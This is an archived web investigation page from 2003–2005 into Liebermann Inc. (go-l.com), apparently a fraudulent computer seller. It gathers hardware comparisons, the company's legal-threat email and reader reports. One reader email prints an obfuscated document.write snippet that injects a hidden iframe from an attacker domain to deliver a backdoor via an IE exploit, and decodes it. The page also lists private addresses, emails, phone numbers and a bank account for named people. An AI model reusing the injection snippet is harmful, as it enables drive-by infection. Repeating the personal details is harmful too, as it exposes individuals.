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Liebermann Inc. Analysis Last update: 2005-04-28
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Latest
April 28, 2005 The Register has an amusing article about L. October 14, 2004 A message posted on go-l.com (sometime between Oct 7 and Oct 13) states, in part, "... we are no longer in a position, from a financial standpoint, to continue doing business... and are regrettably forced to suspend our operations...." I have received two reports from unfortunate persons who recently paid $5,000 and $22,000, respectively, to L but didn't receive any products. Hardware
It exists, but it's all made by other companies. Laptops Sager, which is manufactured by Clevo. The "Hollywood" laptop looks like a re-badged Sager 4760, the "Producer" looks like a Sager 8890, and the "Studio" is a Sager 5680. Desktops Vapochill -- Frozen CPU -- LCDGallery.net -- and Magma makes that PCI expansion chassis. Monitors Links: 9XMedia -- Panoram Tech -- ViewSonic Servers The one with the "dryer hose" is made by Vapochill. Email Correspondence
At 5:52pm on 2003-09-28, we sent the following email to lisa_ciesniewski@go-l.com: Dear Lisa Ciesniewski, We would like to give you the opportunity to read and respond to a page we've created on the Web. The page lists some information we have been able to gather about Liebermann Inc and Miguel Liebermann, and also cites public sources for that information. Please point out any information that you know to be inaccurate, and cite sources so we can verify what you tell us. We will post your complete, unedited response to this email. http://plex.us/outbursts/liebermann.html We also have three questions we hope you can answer: 1) Can you give us more info about Miguel Liebermann, such as his age, his prior work (besides for Coca Cola), and what well-known publication his name may have appeared in? As you can see from our page, we don't believe he's real, so we will need more proof. 2) Can you provide us with the name of another executive besides Mr. Liebermann, and provide concrete, verifiable sources for this information? 3) Is your manufacturing/shipping/warehouse located at 3143 Encinal Ave or is it 8726 S. Sepulveda Blvd #B-161? Thank You, -Page creators Sam & Steve We received the following response: Return-Path: <legal@go-l.com> Delivered-To: samswett.com-sam@samswett.com Received: (qmail 67931 invoked from network); 28 Sep 2003 22:57:14 -0000 Received: from unknown (HELO mail12.atl.registeredsite.com) (64.224.219.86) by 0 with SMTP; 28 Sep 2003 18:57:14 -0400 Received: from imta01a2.registeredsite.com (imta01a2.registeredsite.com [64.225.255.10]) by mail12.atl.registeredsite.com (8.12.9/8.12.9) with ESMTP id h8SMD8Bb012607 for <sam@samswett.com> Sun, 28 Sep 2003 18:13:08 -0400 Received: from ewbjz2evck3zmas.go-l.com ([24.130.251.141]) by imta01a2.registeredsite.com with ESMTP id <20030928231139.WBSJ13923.imta01a2.registeredsite.com@ewbjz2evck3zmas.go-l.com> for <sam@samswett.com> Sun, 28 Sep 2003 19:11:39 -0400 Message-Id: <5.2.0.9.2.20030928160551.00b70988@pop.registeredsite.com> X-Sender: legal@go-l.com@pop.registeredsite.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Sun, 28 Sep 2003 16:11:54 -0700 To: Samuel Swett <sam@samswett.com> From: legal@go-l.com Subject: Re: Questions about Liebermann Inc. In-Reply-To: <BB9CD069.C66A%sam@samswett.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Att: Mr. Swett Liebermann Inc. began doing business with the general public on Monday, September, 22nd, 2003, and since that time we have experienced both the good and the bad capabilities of the Web. Most individuals and organization contacting us have applauded our products and business philosophy. A few others have chosen to attack our credibility and our systems. To those who applaud us, we'll be honored to be chosen as your next provider of high quality windows based computer hardware and display products, and hope that by exploring our product's exceptional capabilities, we can help you in accomplishing your computing tasks faster, better and with greater productivity than ever before, while becoming as successful as we intend to be. For those who believe that personal and corporate attacks are appropriate, we would recommend researching two words: Liable [sic] and Slander. Any that individuals and organizations identified as actively involved and directly or indirectly responsible for propagation of such actions such as yourself and others, will face severe legal procedures to the full extent of the laws governing these matters, as our legal department has a complete understanding of the two words mentioned above, and the governing laws that protect both individuals and corporations alike. Thank you for your continuing interest and support. Liebermann Inc. Miguel Liebermann
Role: CEO. Product designer (according to About page). Or Senior Marketing Director. Directed a commercial for Intima Cherry which appears to be some sort of lingerie. Finally, an article is found at Shoot! magazine with lots of info about Liebermann. (Here's another brief mention.) Now why couldn't Lisa just tell us about this? Here are some posts from his UCLA.edu account. Minimal info here, although he had something called M.L. Productions. He seems to have worked with a director named Xavier Porcar. More stuff from Google Groups including the Exuis connection and posts for hardware help. He also has a presence on the Vapochill Forums, where he has asked for help. He signs off as "Michael" in one post, adding to the mystery. [Thanks, D. for all this info] A reader carefully followed Miguel's trail and found another two 1998 email addresses: mliebUSA@aol.com and mlieb@eudoramail.com and then found a name (from 2001) of Ricardo Pais to add to the mystery. We think we found an old hoax involving a fancy MR2 he pulled to rile up Toyota fans. Notice the similarities: he throws out examples of technologies that exist but simply were never put into an MR2. bizplayer@softhome.net | mlieb@ucla.edu | mliebermann@exuis.com | mliebUSA@aol.com | mlieb@eudoramail.com Michael L. Petersen
Role: web master, website production. MLiebermann[@exuis.com] == Michael L. Petersen? Yes, the Exuis connection to Lisa gives this away! He needed help with GoLive and only a day after Lisa registered the go-l.com domain. He also uses Softhome for email, same as Lisa. Update: we are now sure that Michael Petersen is the person responsible for go-l.com's website production. And on September 3, he's still trying to work with Golive. And he has hit the Adobe Forums, too. mailing-lists@softhome.net Lisa Ann Ciesniewski [Siz-NEW-Skee]
Role: she has handled all voice calls, apparently. Writer? This address is listed on the business registration, and the town of La Crescenta is listed in their SSL certificate. 3143 Encinal Ave La Crescenta, CA 91214 Speculation was that this is her but it's a stock photo. She also rides (Menlo Horse Show, 1998). laclandr09@yahoo.com | ciesniewski@yahoo.com | ciesniewski@softhome.net Other Personnel?
Marie Summers, Support Julie Able, Sales Coordinator J. Seal Matt Amundson Eli Linger (?) Phone Numbers
Liebermann Inc
Agent for Service of Process Number: C2518643 Date Filed: 6/25/2003 8726 S. Sepulveda Blvd. Suite B-161 [confirmed: this is a mailbox at Mail Call] Los Angeles, CA 90045-4023 Liebermann, Inc., c/o Wells Fargo-Los Angeles, Routing transit (ABA) #: 122000247, Account #: 7541329616, Account Type: Lockbox Eyeballing 8726 S. Sepulveda (credits to Cryptome for this idea) ... Look at the maps first to orient yourself.
Domains (click Whois links for detail)
Page Update Chronology
March 17, 2004Tom's Hardware investigates Michael's Computers. By the way, we are aware of L's coverage by TechTV, Maximum PC, etc. :) February 22, 2004 Very interesting piece at techbits.ca written by Burt Carver. Can't say we're suprised by Go-L's response. On this thread, Go-L claims a retail store by February 8. That's two weeks ago. November 24, 2003 L was not at Comdex, but did have a table in OCZ's hotel suite in Vegas during Comdex. Read about it in this article in The Inquirer. Club OC has some other pictures from that suite. November 18, 2003 Liebermann says they have a presence (Venetian Hotel, Suite 106) at Comdex, but we were not immediately able to find independent confirmation of that. November 7, 2003 Several people have emailed us about Michael's Computers of Marina Del Rey. We cannot see any connection between Liebermann and this company. They both happen to be located in Los Angeles and are in the same line of business, but Michael's Computers appears legitimate in every respect -- all information cross-checks, and they have been in business for some time. This is the opposite of Liebermann Inc. Interland has wiped the "autoproxy trojan" from liebermann-corp.com and exuis.com. October 15, 2003 An alert reader notified us of a serious problem with liebermann-corp.com and exuis.com which, if visited with an un-patched version of MSIE, could install an exploit on your Windows machine. Read his email from today for all the details. Recall that go-l.com moved to Crystal Tech on 9/30; it doesn't seem to be affected. However, liebermann-corp.com and exuis.com are still hosted at Interland which apparently is still having the same problem it's had since August 28th of this year. Wired and C|Net provide some detail about Interland's woes. In unrelated news, several people were able to obtain L's order confirmation text, which details a non-standard confirmation procedure: Thank you for your order. You will receive a confirmation e-mail to the address on file. Please be advise [sic] that you may need to provide additional identification information for your order to be completed. We will notify you if any is required. In order to speed the process you can fax a copy of the front and back of your credit card and your photo ID to (206) 600-3028. These are extra security percautions [sic] we take in order to protect our customers from fraudlent [sic] use of credit cards and identification theft. If you have any questions or comments please feel free to contact our customer support at support@go-l.com or by calling (877) 279-6155. October 9, 2003 We were made aware of a give-away contest ending on October 1, 2004 for an "NEC GO-L.COM COMPUTER," according to the contest rules. October 5, 2003 Some unanswered questions: Why hasn't anyone received physical product to review? [They say they will as soon as possible, but it hasn't happened yet.] Why does L's product news go back to a time before the company existed? If they have engineers, where are they? When did they spend "thousands of man hours" developing each system? Why are there no specs for the servers? And what is "Dual-Channel ULL DDR"? ULL? [Maybe "ultra-low latency"] On the desktop cases, how do you access the optical drives? Are they behind the LCD? -- but wait! -- in the closeup, why can you see a drive bay cover without an LCD? What's the deal with the Photoshopped image of a server with four running LCDs on the inside of the case, and an unplugged mainboard power connector? And why does it have a couple old 40GB Fujitsu drives? [Short answer: what can't you do in Photoshop?] Why did they send press releases to only Mac pubs and not any PC pubs? Why don't the Associated Press and UPI have any record of Liebermann or their press releases? How do you get online support if the sign-in form is just a mock-up? (The HTML action tag is empty). [Thanks, RPT] What award(s) did the "industry's award-winning enterprise warranty" win? (From this image). October 3, 2003 Yet more Miguel info posted. October 1, 2003 Online store once again operational. September 30, 2003 go-l.com continues to change slowly, and red flags and inconsistencies are being removed as specs are tightened up, and plenty of disclaimers are added. That said, we still have a long list of known problems to work through, and Liebermann has apparently decided to keep quiet and not proclaim the Gospe-L right now. go-l.com's DNS changed to Crystal Tech. The web server IP has changed from 64.224.186.38 to 216.119.93.139. New section on Miguel Liebermann posted, with publicly available info, no thanks to L Inc. Online store is limping along again (was down most of this time). September 29, 2003 It has been pointed out that L's "legal department" referred to itself in its own email. Hehe, slow down, Lisa. at 10:41am today, I spoke to "Pam" at Mail Call on Sepulveda. She confirmed that both B-161 and D-161 are mail boxes at their location. This was mentioned on a forum page, but I wanted to double-check. go-l.com has undergone significant changes today and many stock photos have been removed. 11:15am update: connection refused, site is down. Just normal flakiness, now it's back up. Robert Gonzalez's thoughts. September 28, 2003 A statement from BurningLogo has been posted. To read about a very elaborate scam, check out J.C. Morris. Started email dialog with Liebermann Inc. Response from legal@go-l.com contains a critical error: "libel" is confused with "liable." September 27, 2003 And we have a bit of mystery: from go-l.com's homepage on 9/27: Notice: L is currently undergoing server-end upgrade procedures on our web servers and web store to support the overwhelming high traffic loads we have been experiencing since Monday the 22nd. Both L and CrystalTech Web Hosting technicians are working around the clock to minimize this downtime and we expect to be fully operational, momentarily. Thank you for your support. Thinking that we'd been left an opening, we called CrystalTech Web Hosting to confirm that this message was factual. To our shock, the tech support rep we talked to did go to go-l.com and then said, "Oh yeah, we've been working with her. Their site is hosted at Interland and they're having problems with their Miva Merchant storefront." Further entertainment is provided by this Liebermann "Official Statement" posted by "powergee." This left us chuckling, so thanks powergee. Oh, here's another troll. September 26, 2003 Page started Email From Readers (posted with permission from the authors)
Date: Wed, 15 Oct 2003 From: [Name Withheld By Request] [...] As I was perusing the "Domains" section, I noticed something very unusual: the source code for the current front page for liebermann-corp.com is identical to go-l.com... except that the liebermann-corp.com site installs a trojan horse executable on your system! The exuis.com domain does the same thing. The line in both pages' source reads (change all [] to <>): [script type="text/javascript"] document.write("\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072 \u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0076\u0077\u00 2e\u0067\u006f\u006c\u0069\u006e\u0067\u0032\u0030\u0030\u0033\u002e\u0063\u 006f\u006d\u002f\u006d\u0061\u0069\u006e\u002e\u0068\u0074\u006d\u006c\u0020 \u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0030\u0020\u0068\u0065\u0069\u00 67\u0068\u0074\u003d\u0030\u0020\u0066\u0072\u0061\u006d\u0065\u0062\u006f\u 0072\u0064\u0065\u0072\u003d\u0030\u0020\u006d\u0061\u0072\u0067\u0069\u006e \u0077\u0069\u0064\u0074\u0068\u003d\u0030\u0020\u006d\u0061\u0072\u0067\u00 69\u006e\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0030\u003e\u003c\u002f\u 0069\u0066\u0072\u0061\u006d\u0065\u003e"); [/script] When you de-obfuscate that document.write code, it reads [iframe src=http://wvw.goling2003.com/main.html width=0 height=0 frameborder=0 marginwidth=0 marginheight=0][/iframe] The page http://wvw.goling2003.com/main.html (don't go there without a patched version of IE!!!) uses an IE security exploit to directly launch (without warning) an HTA application called inf.ooo, which when run basically attempts to download the file "ap216.exe" from the goling2003.com domain and place it into your Windows directory. It also edits the Windows registry and creates and subsequently deletes the files "stop.bat" and "ftp.txt" in order to cover its tracks. This "ap216.exe" file, as far as I can tell from my brief research, allows an attacker to execute system commands and do other generally bad things. http://www.lurhq.com/autoproxy.html has a detailed description of the file's behavior (half way down the page). [...] Date: Tue, 30 Sep 2003 From: [Name Withheld By Request] This is mostly concerning the absolute asinine claims they make with their Desktop line of systems, and how such a product does not, and probably can not, exist. The Mach 3.8 Desktop promises to do just about everything but bathe you. First of all, the main picture of the machine is a lie straight off the bat. They show 3 monitors spread out in a wide panoramic view. This is possible with the Matrox Parhelia, but not with the Radeon 9800 Pro they say ships with the system. It supports 2 monitors, unless another add-on PCI card is installed. The monitor they show is also doctored up. I've seen some like it before, but it's showing 3 input screens there, not just a spread image on a non-standard resolution display. Advertised features include: 3.8GHz* Accelerated Hyper-Threading Extreme Edition 2MB L3 Cache Intel® P4 Intel does not allow for direct marketers to overclock their products. It's a strict no-no, and this company wouldn't even be allowed to use the Windows Logo. The P4 can't reliably handle speeds that fast. 3.2 GHz is about the top that product will really hit. Beyond that, this processor won't be hitting the market for another month, and was just announced last week to compete with the Athlon 64 in the gaming market. Support for next-gen Pentium 5 Prescott CPU Since the next line of Pentium processors will most likely be in a different socket, and Intel is pushing for the BTX case standard, this seems highly unlikely. PuRam™ No System Hard Drive Configurable Up to 1.000 faster than ATA/SCSI/FC HD based designs with Data Burst Speeds up to 8GB/s and I/O data requests at over 150.000 I/O sec. Enhanced CacheFlow™ Technology SuperBIOS™ IBPT Technology Pure marketing here, since most of this is absolutely bogus. My personal favorite is how they have "1.000" instead of "1,000" times. That would make it exactly 1x times faster, or the same speed. [We like the "150.000" IO per second too -- wow 150! -Sam] [But] making a claim where you're putting ATA and FiberChannel in the same bracket is like saying a car can outrun a Neon/Corvette/Ferrari. The other two technologies are just made up words. Up to 16GB Total RAM with optional RamDrives. This one is my personal favorite. If you scroll down the page, you'll see a picture of this "optional" RamDrive card. It's based on the PCI Express architecture. This is not supported on any current Intel chipset. The picture of the case with the motherboard exposed shows 6 standard 32-bit PCI slots. So you can get this mystery card, but you will not be able to plug it in. Beyond that, there would be very little to gain with those cards, since your PCI bus runs at 33 MHz, while your FSB and Memory bus run quite a bit faster. No matter how fast you get on one portion, you go according to the lowest value. [...] More interesting is just the lack of homework they put into creating the perfect "professional" workstation. Anyone who does serious CAD or rendering work would look past a Radeon 9800 (which is not AGP 8x Pro, just 8x) to a workstation-level product, like the FireGL or the Quadro from nVidia. The majority of what is seen here is just stating technical specifications of existing products (like the professional audio that is standard house for any Audigy card) as an actual feature set. Date: Mon, 29 Sep 2003 From: [Name Withheld By Request] [...] take a look at the specs of some of their machines, it's full of contradictions. I'll just paste what I sent to someone else: "capable of supporting up to a gargantuan 360GB Storage space using up to two ultra-high performance 7200RPM or 5400RPM Hard Drives." Then further down it says: "Up to 320 GB of hard drives via 4 physical drives." So which is it? Two or Four hard drives? [Apparently you can have four drives and RAID 1/0 (from Sager), but L's specs just create confusion. -Sam] [...] Also, the contradictions keep coming: "16.1" Active Matrix LCD Display with resolution of up to 1600-by-1200" And again, further down: "Superb Ultra-high contrast 16" SXGA 1280x1024 SXGA Wide-Viewing Angle Display." Do they even know the specifications of their own machines? But the inconsistencies don't stop there. They're marketing extremely high end machines, so it surprises me to see this: http://www.go-l.com/_images/screenshot_3dmark2001_2_big.jpg http://www.go-l.com/_images/screenshot_3dmark2001_1_big.jpg Anyone will tell you that 5fps and 7fps is, well, crap. Date: Sun, 28 Sep 2003 From: [Name Withheld By Request] Like yourself, I've been extremely interesting in this hoax. Included below is the text of an email I sent to Dennis Sellers at Maccentral just after the story ran. I don't think I have much to add to what you've already found, but it certainly corroborates most of what you've done. [The author of this email does quick work! -Sam] [...] After reading your article about Leibermann Inc, and visiting their website, I must admit I was as skeptical as the rest of your readers. I took it upon myself to find some more information about Leibermann Inc and Lisa Ciesniewski that you might interesting. I first took a look at the CA database of incorporation material from the CA secretary of state, via LexisNexis. Liebermann Inc, was Incorporated on 6/25/2003. The sole listed agent is lisa Ciesniewski, and the mailing and registered address is 3143 Encinal Avenue, La Crescenta CA 91214. Usually these documents would list more information, such as names of officers, but the fact that this only listed Lisa Ciesnewski's name wasn't totally out of the ordinary. I then proceeded to search for Lisa in the CA Fictitious business names database, and found several entries listed as "Exuis", "Landr Consulting" and "Landr Solutions". "Landr solutions" having the same 3143 Encinal Ave address listed. A reverse lookup of the phone number on the go-l.com website (310-902-2276) gives you Exuis dba Go-l.com PO Box 10548 - interestingly enough, the name of one of the companies that showed up under Lisa's name in CA's fictitious name database. Also, on the "graduate sales" website, we find a phone number that reverse look-ups to Philander, Ryan 21 30th Ave Venice, CA 90291-4339 (310)822-2611 (http://www.go-l.com/corporate/programs/graduate/index.htm) - who exactly that is, I have not been able to figure out. They also list under "contact" information, the website www.liebermann-corp.com. A whois of that name is quite interesting, listing Lisa's name and a PO box in Marina Del Rey CA as the address. The CA Secretary of State lists the business address of Lisa's "Exuis" company at 5218 Pacific Ave # C, in Marina Del Rey. Also, the mailing address under the contact part of the site, we reverse lookup'd on switchboard.com is the address of a shopping mall of sorts, one of the tenants is a "Mail Call" ([8726] S Sepulveda Blvd) - a Mail Boxes Etc. type institution. Also, the date of incorporation is interesting, considering the "product news" page at http://www.go-l.com/news/product_news/index.htm lists product announcements going back to February of 2003. A search for "Liebermann" in the "CALIFORNIA FICTITIOUS BUSINESS NAMES" database found several entries, including one for "Miguel Liebermann" at "American LIfesavers" filed on 9/28/1993. The business and contact address is "1350 N Hayworth 8, W Hollywood, CA". The next entry is for a "Moshe Liebermann" at a "Global Group Trading". The address is 5658 Sepulveda BL 213, Van Nuys CA 91411 and a contact number of 818.361.1870 (the Sepulveda Bl address was an interesting coincidence for me) A search for "Michael Peterson" in the same database, as well as the LLC and corporation database brought up many hits, none of which I could find to be connections. A search of the "CALIFORNIA STATE BOARD OF EQUALIZATION, SALES AND USE TAX INFORMATION" returned one entry for "Liebermann Inc." listing the business address of 3143 Encinal Ave in La Crescenta and a mailing address of PO Box 10548, Marina Del Rey, CA. It lists the business commencement date as 8/1/2003 and lists the business description as "office, store and school furniture and equipment stores." Date: Sun, 28 Sep 2003 From: [Name Withheld By Request] It appears the True Launch Bar is part of the Liebermann software showcase. http://www.truelaunchbar.com/ The Hollywood is the Clevo D470W. Sager and the other company's laptops are re-badged Clevo's. The D470W was just announced last week at Computex. http://www.clevo.com.tw/products/D470W.asp http://www.anandtech.com/mobile/showimage.html?u=http://images.anandtech.com/reviews/shows/2003/computex/Day1/m10_1_big.jpg Date: Sun, 28 Sep 2003 From: Jay Levitt I'm glad you have this page; I had been considering starting one myself, since something about this scam really grabs me, but you're much further along! Here's some more info: - One of the 310 "main numbers" given on the site is a cell phone. See www.fonefinder.net to see if any given phone is a cell or landline. - Miguel Liebermann really does exist and is a commercial director (as in director of commercials). A LexisNexis search (which anyone with a CC can do) pulled up some articles touting his move to the "Area 51" studio a few years ago. No idea whether he's really affiliated with the hoax or not (and I think I am tempted to start calling it a scam, as they appear to be taking actual orders here). [Confirmed and linked. -Sam] - The corporate history notes several products available as far back as March "available immediately". That's a key word, as it implies the company was in business and shipping product. The web site certainly didn't exist. Is there a date of registration on the corporate records you pulled? - The specs they claim for the desktop PC are 10% factual (if rather standard for a high-end PC) and 90% marketing BS and trademarks for things that Windows already does. For a rather cynical analysis I did, see: http://forum.nuendo.com/forum/Forum3/HTML/004050.html - Just checked some of those trademarks (www.uspto.gov): CacheFlow belongs to someone else. SuperBIOS was an Award trademark but was abandoned in 1996. UltraSpeed is a trademark for appliance heating elements, swim goggles, and filling-machine valves. PuRam is not a registered trademark. - The people photos are obviously stock photos - I think one turned out to be from gettyimages. Be interesting to show those and where they came from, too. - Their "help wanted" section lists a number of fairly technical positions, but the ONLY ad that actually lists required technologies is the web designer ad - as if the section were written by the web designer. Normally, for any of the technical positions, you'd expect "familiarity with (some CAD/CAM system) or at least SOMETHING other than "Windows literate". - I don't know the absolute latest LCD specs, it's true... but last year when I was looking for hi-res flat-panel displays, the largest available was the Samsung 240T and its sister the WideUSA 2400A (built by ex-Samsung engineers with the same glass, different controller). I now own a 2400A, and it's 1920x1200 - at 24" long! I can't believe anyone's making a 15" panel dense enough; nor, with the current Windows pixel-oriented design, would you want something with pixels that tiny unless you're using specialized apps that can deal with it. With Longhorn, scaling will be pixel-independent, and then high-density displays would be a good thing. - Someone else pointed out that with the "screen" they photoshopped over the drive bays, there are now no drive bays for things like, oh, the DVD-RW drive. Web Discussion Forums
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